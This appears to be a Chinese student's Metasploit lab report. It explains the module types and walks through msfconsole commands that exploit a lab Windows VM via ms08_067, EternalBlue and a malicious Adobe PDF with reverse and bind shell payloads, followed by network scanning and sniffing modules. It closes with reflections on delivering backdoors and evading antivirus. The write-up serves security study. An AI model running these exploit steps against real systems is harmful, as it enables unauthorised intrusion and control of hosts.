Exp6 MSF应用基础

一、实验目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

回到顶部

二、实验内容概述

  • 一个主动攻击实践,如ms08_067、ms017-010
  • 一个针对浏览器的攻击,如ms11_050
  • 一个针对客户端的攻击,如Adobe
  • 成功应用任何一个辅助模块

回到顶部

三、基础知识

1、MSF体系架构

Metasploit是一款开源的渗透测试框架平台,它已经内置了数千个已披露的漏洞相关的模块和渗透测试工具。使用者选定需要使用的攻击模块之后,只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用。

其体系架构如下图所示:

image

2、MSF模块

模块按照不同用途可分为6种类型

  • Exploits(渗透攻击模块)

    :主要利用发现的安全漏洞或配置弱点对目标主机进行攻击,以植入和运行攻击载荷,从而获得目标系统的访问控制权。

    • 主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中。
    • 被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)。
  • Auxiliary(辅助模块):包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块。还包含一些无须加载的攻击载荷,这些模块不用来取得目标系统远程控制权,如拒绝服务。

  • Post(后渗透攻击模块):用于取得目标系统远程控制权之后的环节,实现在受控制的系统中进行各种各样的后渗透攻击动作,如敏感信息,进一步拓展,实施跳板攻击。

  • Payloads(攻击载荷模块)

    :在渗透攻击成功后促进目标系统运行的一段植入代码,主要用来建立目标与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

    • Single:是一种完全独立的Payload,使用简单,就像运行calc.exe一样简单,由于Single是完全独立的,因此他们有可能会被类似netcat这样的metasploit处理工具所捕获。
    • Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
      • reverse_tcp:它可以让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
      • bind_TCP:它可以让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
    • Stage:是stager payload下的一种payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
  • Nops(空指令模块)

    :空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。

    • 最典型的空指令就是空操作,在X86CPU体系结构平台上的操作码是ox90
  • Encoders(编码模块)

    :攻击载荷与空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行之前,metaspliot还需要编码。其主要作用如下:

    • 确保攻击载荷中不会出现“坏字符”
    • 对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截。

3、MSF接口

MSF接口包括msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化界面以及msfapi远程调用接口。

  • MSF终端(msfconsole)是目前Metasploit框架最为流行的用户接口,而且MSF终端是Metasploit框架中最灵活、功能最丰富以及支持最好的工具之一。
  • MSF终端提供了一站式的接口,能访问Metasploit框架中几乎每一个选项和配置。可以使用MSF终端做任何事情,包括发起一次渗透攻击、装载辅助模块、实施查点、创建监听器,或是对整个网络进行自动化渗透攻击。

4、常用命令

  • search XXX:用指定关键字搜索可以利用的漏洞模块

  • use exploit XXX:使用漏洞模块

  • info:显示模块的相关信息

  • show payloads:查看该模块可以使用的攻击载荷

  • set payload xxx:设置选中的攻击载荷

  • show targets:查看可以攻击哪些操作系统

  • set TARGET target number:设置目标版本

  • show auxiliary:显示辅助模块

  • use auxiliary name:使用辅助模块

  • show options:显示配置选项

  • set option xxxxx
    

    :设置选项参数

    • set RHOSTS:设置目标主机的ip地址
    • set RPORT:设置目标主机的端口
    • set LHOSTS:设置本机的ip地址
    • set LPORT:设置本机的端口号
  • exploit/run:开始漏洞攻击

  • sessions -l:列出会话

  • sessions -i id:选择会话

  • sessions -k id:结束会话

  • Ctrl+z:把会话放到后台

  • Ctrl+c:结束会话

四、实验过程

(一)一个主动攻击实践

1.ms08_067_netapi

  • ms08_067漏洞是著名的远程溢出漏洞。攻击者发送恶意资料到受害机默认开放的SMB服务端口445,通过MSRPC接口调用server服务的一个函数,并破坏程序的栈缓存区,获得远程代码执行权限,从而完全控制主机。

  • 靶机:Windows 2000(192.168.248.131)

    攻击机:kali虚拟机(192.168.248.128)

  • 获取靶机ip地址

查看靶机是否存在此漏洞,nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.248.131

  • 可以看出,此漏洞可以攻击靶机
  • 攻击机(kali)开启MSF sudo msfconsole
  • search ms08_067,搜索与此漏洞相关的模块

利用辅助模块查看445端口是否开启

search portscan          //搜索与端口扫描相关的模块
use auxiliary/scanner/portscan/tcp   //使用此辅助模块扫描靶机tcp端口
show options             //显示要设置的参数选项
set RHOSTS 192.168.248.131  //设置要扫描的靶机ip
exploit                     //开始运行

由图可知,445端口是开放的。

使用show targets,查看此漏洞适用的系统版本

由于我们的靶机是Windows 2000,所以此处我们选择1号 set target 1

use exploit/windows/smb/ms08_067_netapi,选择使用此漏洞模块

show payloads,查看可以使用的攻击载荷模块

set payload generic/shell_reverse_tcp 设置攻击的载荷

set RHOSTS 192.168.248.131,设置靶机IP地址

(二)一个针对浏览器的攻击

1、ms17-010

  • Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码。
  • 靶机:WindowsXP IE浏览器(192.168.248.131)

具体步骤如下:

search ms17-010                               //查看与此漏洞相关的攻击模块


use exploit/windows/smb/ms17_010_eternalblue    //选择攻击模块
set payload generic/shell_reverse_tcp           //设置攻击载荷
set RHOST 192.168.248.131       //设置靶机IP,端口默认为445
set LPORT 1209                //回连的kali虚拟机端口
set LHOST 192.168.248.128        //设置攻击机IP(kali)

exploit     //进行攻击

2、CVE-2019-11043漏洞分析与复现

详细见博客

(三)一个针对客户端的攻击

1.Adobe

靶机:Windows xp(192.168.248.131)

攻击机:kali(192.168.248.128)

  • 首先,

  • msfconsole          //进入控制台
    search adobe        //搜索与adobe有关的漏洞
    

use windows/fileformat/adobe_cooltype_sing  //选择使用此漏洞
set payload windows/meterpreter/bind_tcp    //选择攻击载荷
show options        //查看需要配置的参数选项
set LPORT 1209      //设置端口号
set RHOST 192.168.248.131   //设置靶机IP地址
set FILENAME st.pdf       //设置生成的PDF文件名

exploit             //生成.pdf文件

拖入xp虚拟机

按照下面的代码在kali中开启监听

use exploit/multi/handler                  //进入监听模块
set payload windows/meterpreter/bind_tcp   //选择攻击载荷
show options        //查看需要配置的参数选项
set LPORT 1209      //设置端口号
set RHOST 192.168.248.131   //设置靶机IP地址
exploit             //开启监听

在靶机中用Adobe Reader打开jjy.pdf这个文件,可以看到,kali成功获得了靶机的ip地址10

(四)成功应用一个辅助模块

(scanner)

  • 活跃主机的发现

  • Metasploit 中提供了一些辅助模块可用于活跃主机的发现,这些模块位于Metasploit 源码路径的modules/auxiliary/scanner/discovery/ 目录中,主要有以下几个:arp_sweep、ipv6_multicast_ping、ipv6_neighbor、ipv6_neighbor_router_advetisement、 udp_probe、udp_sweep。其中两个常用模块的主要功能为:

    • arp_sweep:使用ARP请求枚举本地局域网络中的所有活跃主机。
    • udp_sweep:通过发送UDP数据包探查指定主机是否舌跃,并发现主机上的UDP服务。

    在TCP/IP网络环境中,一台主机在发送数据帧前需要使用ARP——地址解析协议将目标IP地址转换成MAC地址,这个转换过程是通过发送一个ARP请求来完成的。若主机A发送一个ARP请求获取主机B的MAC地址时,如果主机B存在,那么它会向A发出一个回应。因此,可以通过发送ARP请求的方式获取同一子网上的活跃主机情况,这种技术也称为ARP扫描。

  • Metasploit 的arp_sweep模块便是一个ARP扫描器。具体使用方法如下:

search arp_sweep                         //查找实现ARP扫描的具体模块

use auxiliary/scanner/discovery/arp_sweep     //选择使用此模块
show options                                  //查看需要设置的参数选项
set RHOSTS 192.168.0.0/24//设置需要扫描的网段,可以用CIDR地址块,也可以用-连接多个IP地址
set THREADS 50//设置线程,较大数值能提高扫描速度,较小数值能让扫描过程更加隐蔽
run                                           //开始扫描

一个没有 我有点疑惑了

sniffer(嗅探)

  • 这个嗅探攻击不需要设置什么,直接exploit攻击。
search sniff //看一下嗅探的攻击
use auxiliary/sniffer/psnuffle //选择攻击操作
show options
exploit

可以看到我刚刚浏览的百度地址

ipidseq

靶机:Microsoft Windows 2000 (192.168.248.131)

攻击机:kali(192.168.248.128)

msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.248.131 //靶机 IP
set TIMEOUT 5 //设置时间最长扫描时间
exploit

cert辅助模块

  • cert的扫描仪模块是一个有用的管理扫描仪,可以覆盖一个子网来检查服务器证书是否过期

  • 输入search cert首先查看辅助模块cert辅助模块的信息

use auxiliary/scanner/telnet/telnet_version
set RHOSTS 192.168.248.128/24
set THREADS 50

TCP"XMas"端口扫描

  • 该模块的主要作用是判断端口是开放还是关闭,结果表示端口是开放或者被过滤(屏蔽)的.

  • 输入search xmas首先查看xmas辅助模块的信息

设置参数

```
use auxiliary/scanner/portscan/xmas
set RHOST 192.168.248.128
set ports 1209
run
```

五、实验后问题回答

1. 用自己的话解释什么是exploit,payload,encode?

回答:

  • exploit:就是渗透攻击。这个模块下面有针对各种平台各种软件下的漏洞开发的渗透攻击子模块,用户可以调用某一个对靶机进行攻击。
  • payload:就是载荷。比如一个后门,通过什么平台下的基于什么软件的连接方式,可以通过此项来设置。
  • encode:就是一个编码器,把比如shellcode存在一些特征码,本来容易被靶机安全软件所察觉,用了这个编码器中的编码后就打乱了特征码,从而迷惑靶机。

六、离实战还缺些什么技术或步骤?

本次实验充分体现了信息搜集在攻击包括防范漏洞攻击的重要性,因此信息的收集的重要性不言而喻。仅仅依靠实验中的这些信息搜集方法是远远不够的。
此外,结合前几次实验的内容以及曾经学习过的知识,如何能够把病毒或后门程序输送到期望的目标机中是很重要的,而不是像我们实验中只是简单地在虚拟机之间互相的拖拽文件。
还有,如果保证后门程序的正常运行且不发现是很重要的,在实验中打开pdf文件的时候虽然我们可以成功连接到靶机,但是靶机的Adobe却卡死了。我们要向顺利的运行后门程序而不被宿主机的使用者发现,对后门程序的测试和执行性检测也是很关键的。

七、实验问题与解决


(基本没遇到啥问题,攻击不成功通常都是漏洞和靶机系统或软件版本不匹配,注意查看攻击模块的靶机信息,换个匹配系统就好了。)

八、实验感想

本次的主要实验内容是MSF的基础应用,我最头大的事情就是要安装和切换虚拟机,从因为拒绝访问的原因从中文虚拟机换成了英文版的,又因为Adobe的版本问题从英文版换成了中文版的。安装虚拟机的时候总是出现了一些别人都没有的奇怪问题。每次在等待虚拟机上总是需要很长的时间,弄得我总是想挠墙。
那么本次实验中,找到一个独特可用的模块也是耗时比较长的一项内容,但是在不断的尝试和探索中也让我对不同模块的主要内容和功能有了一些掌握,因为每次都需要去查看description中国的内容去了解不同的模块。这是这次实验我收获最大的地方。

posted @ 2021-05-10 00:49  STong66  阅读(263)  评论(0编辑  收藏  举报